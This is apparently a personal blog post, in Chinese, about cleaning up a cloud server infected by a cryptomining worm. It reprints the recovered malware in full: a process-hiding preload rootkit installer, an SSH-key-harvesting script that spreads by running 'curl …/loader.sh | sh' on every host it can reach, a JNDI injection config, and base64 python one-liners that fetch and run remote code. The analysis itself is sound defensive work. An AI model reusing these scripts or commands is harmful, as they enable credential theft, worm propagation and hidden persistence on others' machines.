- 阿里云报错,说是某一台服务器对外有攻击行为。已经禁止对应的端口号,过段时间后再开。
- 那无论如何,总得查一下吧。服务器放在那里好长时间没有管理了。
- 先检查一下异常进程,ps -ef,没有发现什么异常。那指定就是定时任务了。
- crontab -l 查询:
- 0 2 * * * /.git/kworkers
- 嗯,就是他了,每天晚上凌晨两点启动根目录下的隐藏文件夹下的kworkers程序,一看就没干啥好事儿。
- crontab -e
- dd, 删除这一行代码。首先禁止这个程序运行。关门打狗。
- cd /.git/ && ll
总用量 39520
-rwxrwxrwx 1 root root 7529332 12月 27 02:59 autoupdate
-rw-r--r-- 1 root root 528 7月 28 02:23 check_lin.data
-rw-r--r-- 1 root root 772 7月 28 02:23 check_win.data
-rwxrwxrwx 1 root root 3575296 12月 23 02:00 dbus
-rw-r--r-- 1 root root 202240 6月 23 2021 download
-rw-r--r-- 1 root root 25872984 7月 28 02:23 dubbo.jar
-rwxrwxrwx 1 root root 747 6月 23 2021 hideproc.sh
-rwxrwxrwx 1 root root 1052408 8月 11 02:09 [kmsgds]
-rwxrwxrwx 1 root root 2207096 12月 28 03:42 kworkers
-rwxrwxrwx 1 root root 5034 7月 10 02:00 sshkey.sh
- 注意,这个.git一般要是开发的话,会在 【~/.git 】这个位置,他这个放到了根目录下,一看就是有问题的。可见这个黑客还是比较有规矩、有底线的。
- 看到列表里边的文件了吧,这些都是问题,全都需要处理。先看看他们都是干啥的。先看看这个sh文件,挨个处理。
- vim hideproc.sh :这个看名字比较像是隐藏进程的,也不知道是伪装,还是真实的。
if [ "$EUID" -ne 0 ]
then echo "Please run as root"
else
if [ `grep libc2.28 /etc/ld.so.preload` ]
then echo "hideproc already done!!"
else
apt-get update -y
apt-get install build-essential -y
yum check-update
yum install build-essential -y
dnf groupinstall "Development Tools" -y
yum group install "Development Tools" -y
curl http://m.windowsupdatesupport.org/d/processhider.c -o processhider.c
gcc -Wall -fPIC -shared -o libc2.28.so processhider.c -ldl
mv libc2.28.so /usr/local/lib/ -f
grep libc2.28 /etc/ld.so.preload || echo /usr/local/lib/libc2.28.so >> /etc/ld.so.preload
rm -f processhider.c
ls >/tmp/.1 2>&1
grep libc2.28.so /tmp/.1 && echo >/etc/ld.so.preload
fi
fi
- 看样子,是从某个网站下载了一个c语言包,使用本地环境编译成可执行文件,并且放到了系统库里边。我们找到并删除他即可。(/usr/local/lib/libc2.28.so)
- 启动文件里边,/etc/ld.so.preload也是他搞的,看看这里边都有啥。
- vim /etc/ld.so.preload
/usr/local/lib/libc2.28.so
- 还好,只有这一个文件,被设置成了开机启动。文件已经被干掉了。这个启动文件也没有用了,删除即可。
- rm -rf /etc/ld.so.preload
- 处理完这个文件,看下一个可以执行的sh文件是啥。 vim sshkey.sh
echo "local go start"
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep supportxmr.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep xmrpool.net | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep minergate.com| awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep viaxmr.com| awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep hwlh3wlh44lh | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep /usr/bin/.sshd | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep /usr/bin/bsd-port | awk '{print $2}' | xargs kill -9
ps auxf|grep -v grep|grep "xmr" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xig" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "wnTKYg" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "sustes" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "thisxxs" | awk '{print $2}' | xargs kill -9
ps auxf|grep -v grep|grep "hashfish" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "kworkerds" | awk '{print $2}'|xargs kill -9
myhostip=$(curl -sL icanhazip.com)
KEYS=$(find ~/ /root /home -maxdepth 3 -name 'id_rsa*' | grep -vw pub)
KEYS2=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep IdentityFile | awk -F "IdentityFile" '{print $2 }')
KEYS3=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)" | awk -F ' -i ' '{print $2}' | awk '{print $1'})
KEYS4=$(find ~/ /root /home -maxdepth 3 -name '*.pem' | uniq)
HOSTS=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep HostName | awk -F "HostName" '{print $2}')
HOSTS2=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)" | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}")
HOSTS3=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)" | tr ':' ' ' | awk -F '@' '{print $2}' | awk -F '{print $1}')
HOSTS4=$(cat /etc/hosts | grep -vw "0.0.0.0" | grep -vw "127.0.1.1" | grep -vw "127.0.0.1" | grep -vw $myhostip | sed -r '/\n/!s/[0-9.]+/\n&\n/;/^([0-9]{1,3}\.){3}[0-9]{1,3}\n/P;D' | awk '{print $1}')
HOSTS5=$(cat ~/*/.ssh/known_hosts /home/*/.ssh/known_hosts /root/.ssh/known_hosts | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}" | uniq)
HOSTS6=$(ps auxw | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}" | grep ":22" | uniq)
USERZ=$(
echo "root"
find ~/ /root /home -maxdepth 2 -name '\.ssh' | uniq | xargs find | awk '/id_rsa/' | awk -F'/' '{print $3}' | uniq | grep -wv ".ssh"
)
USERZ2=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -vw "cp" | grep -vw "mv" | grep -vw "cd " | grep -vw "nano" | grep -v grep | grep -E "(ssh|scp)" | tr ':' ' ' | awk -F '@' '{print $1}' | awk '
{print $4}' | uniq)
sshports=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -vw "cp" | grep -vw "mv" | grep -vw "cd " | grep -vw "nano" | grep -v grep | grep -E "(ssh|scp)" | tr ':' ' ' | awk -F '-p' '{print $2}' | aw
k '{print $1}' | sed 's/[^0-9]*//g' | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2- | sed -e "\$a22")
userlist=$(echo "$USERZ $USERZ2" | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2- | grep -vw "." | grep -vw "ssh" | sed '/\./d')
hostlist=$(echo "$HOSTS $HOSTS2 $HOSTS3 $HOSTS4 $HOSTS5 $HOSTS6" | grep -vw 127.0.0.1 | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
keylist=$(echo "$KEYS $KEYS2 $KEYS3 $KEYS4" | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
i=0
for user in $userlist; do
for host in $hostlist; do
for key in $keylist; do
for sshp in $sshports; do
((i++))
if [ "${i}" -eq "20" ]; then
sleep 5
ps wx | grep "ssh -o" | awk '{print $1}' | xargs kill -9 &>/dev/null &
i=0
fi
#Wait 5 seconds after every 20 attempts and clean up hanging processes
chmod +r $key
chmod 400 $key
echo "$user@$host"
ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=3 -i $key $user@$host -p $sshp "curl http://m.windowsupdatesupport.org/d/loader.sh |sh"
ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=3 -i $key $user@$host -p $sshp "curl http://m.windowsupdatesupport.org/d/loader.sh |sh"
done
done
done
done
# scangogo
echo "local done"
- 看一下吧,这都是干啥啊,先杀了一堆进程。可能是他自己要启动的,也可能是同类竞争对手???病毒也搞内卷么?
- 然后呢?直接去查找一下本机的出口IP地址。http://icanhazip.com 这可是给人家带来了一定压力啊。
- 我日啊,这是要连锅端啊!所有保存在这台机器上的ssh文件,包括etc/hosts自定义的域名地址等等,全部挨个试一遍,使用ssh登录进去,并且在远程端下载和复制一遍自己。这个必须干掉!查一下,辛亏这台电脑上没有那么多登录的ssh脚本。这也不安全啊。
- 再看其他文件,基本都是二进制的可执行文件,或者他们的数据文件。没啥热闹看,有意思的一点是,check_lin.data
- vim check_lin.data
### 快速漏洞攻击参数配置(将会根据相应匹配的参数选择对应的所有gadget攻击)
### 多个参数英文逗号分割
#JNDI注入url
JNDI=ldap://m.gunupdatepkg.com:8888/x
#执行的shell命令
#CMD="/System/Applications/Calculator.app/Contents/MacOS/Calculator"
#CMD=ls
CMD=/bin/bash,-c,curl http://m.windowsupdatesupport.org/d/loader.sh|sh
#Reference远程class代码url
CODEBASE=http://127.0.0.1:80/,Calc
#恶意jar包url
JAR=http://127.0.0.1:8080/R.jar,Calc
#DNS服务url
DNS=http://xxxx.ceye.io
~
- 这里边注释还都是中文的,服了呀,写的还挺规范。
- 至此,这个文件夹就算处理完毕了。
- rm -rf /.git/
- 查看一下其他异常文件。根目录下发现一个不应该存在的文件 .bash_history
- 打开看看 vim /.bash_history
python -c 'import urllib;exec urllib.urlopen("http://185.250.148.182/d/loader.py").read()
bash -c "echo aW1wb3J0IHVybGxpYi5yZXF1ZXN0CndpdGggdXJsbGliLnJlcXVlc3QudXJsb3BlbignaHR0cDovLzE4NS4yNTAuMTQ4LjE4Mi9kL2xvYWRlci5weScpIGFzIGY6CiAgICBodG1sID0gZi5yZWFkKCkuZGVjb2RlKCd1dGYtOCcpCiAgICBleGVjKGh0bWwpCg== | base64 -d | python"
- 得,又是一个中招的东西。下载了一个python文件,并且使用python执行了一遍。并且这个应该是通过命令行敲进去的。完蛋,这系统没法要了。
- 改密码,查看异常用户,处理异常用户。开防火墙,关闭异常端口。这算是暂时告一段落。等一下看看,是否还有告警出来。若是没有清除干净,那就到时候再说了。
补充:
find . -newermt "2021-01-01"|grep .git/
捎带手查了一下,乖乖,还留着好多复制的病毒呢。
全部删除即可。
评论区